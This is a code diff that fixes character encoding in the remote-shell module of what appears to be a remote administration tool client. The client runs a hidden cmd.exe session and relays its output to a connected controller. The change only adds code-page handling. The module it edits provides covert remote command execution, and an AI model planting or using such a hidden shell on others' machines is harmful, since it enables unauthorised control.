diff --git a/Client/Core/Utilities/Shell.cs b/Client/Core/Utilities/Shell.cs index fc97da15..0309b1d1 100644 --- a/Client/Core/Utilities/Shell.cs +++ b/Client/Core/Utilities/Shell.cs @@ -35,6 +35,16 @@ public class Shell : IDisposable /// private readonly object _readStreamLock = new object(); + /// + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + /// /// Creates a new session of the Shell /// @@ -46,6 +56,7 @@ private void CreateSession() } CultureInfo cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); _prc = new Process { @@ -55,8 +66,8 @@ private void CreateSession() RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, - StandardOutputEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage), - StandardErrorEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage), + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, CreateNoWindow = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), Arguments = "/K" @@ -68,6 +79,9 @@ private void CreateSession() // Fire up the logic to redirect the outputs and handle them. RedirectOutputs(); + // Change console code page + ExecuteCommand("chcp " + _encoding.CodePage); + new Packets.ClientPackets.DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute( Program.ConnectClient); } @@ -121,7 +135,9 @@ private void SendAndFlushBuffer(ref StringBuilder textbuffer, bool isError) { if (textbuffer.Length == 0) return; - var toSend = textbuffer.ToString(); + var text = textbuffer.ToString(); + byte[] utf8Text = Encoding.Convert(_encoding, Encoding.UTF8, _encoding.GetBytes(text)); + var toSend = Encoding.UTF8.GetString(utf8Text); if (string.IsNullOrEmpty(toSend)) return; @@ -231,8 +247,16 @@ public bool ExecuteCommand(string command) if (_prc == null) return false; - _prc.StandardInput.WriteLine(command); - _prc.StandardInput.Flush(); + if (_inputWriter == null) + { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + } + + byte[] rawCommand = Encoding.Convert(Encoding.UTF8, _encoding, Encoding.UTF8.GetBytes(command)); + string fixedEncodedCommand = _encoding.GetString(rawCommand); + + _inputWriter.WriteLine(fixedEncodedCommand); + _inputWriter.Flush(); return true; } @@ -276,6 +300,8 @@ protected virtual void Dispose(bool disposing) { } } + _inputWriter.Close(); + _inputWriter = null; _prc.Dispose(); _prc = null; }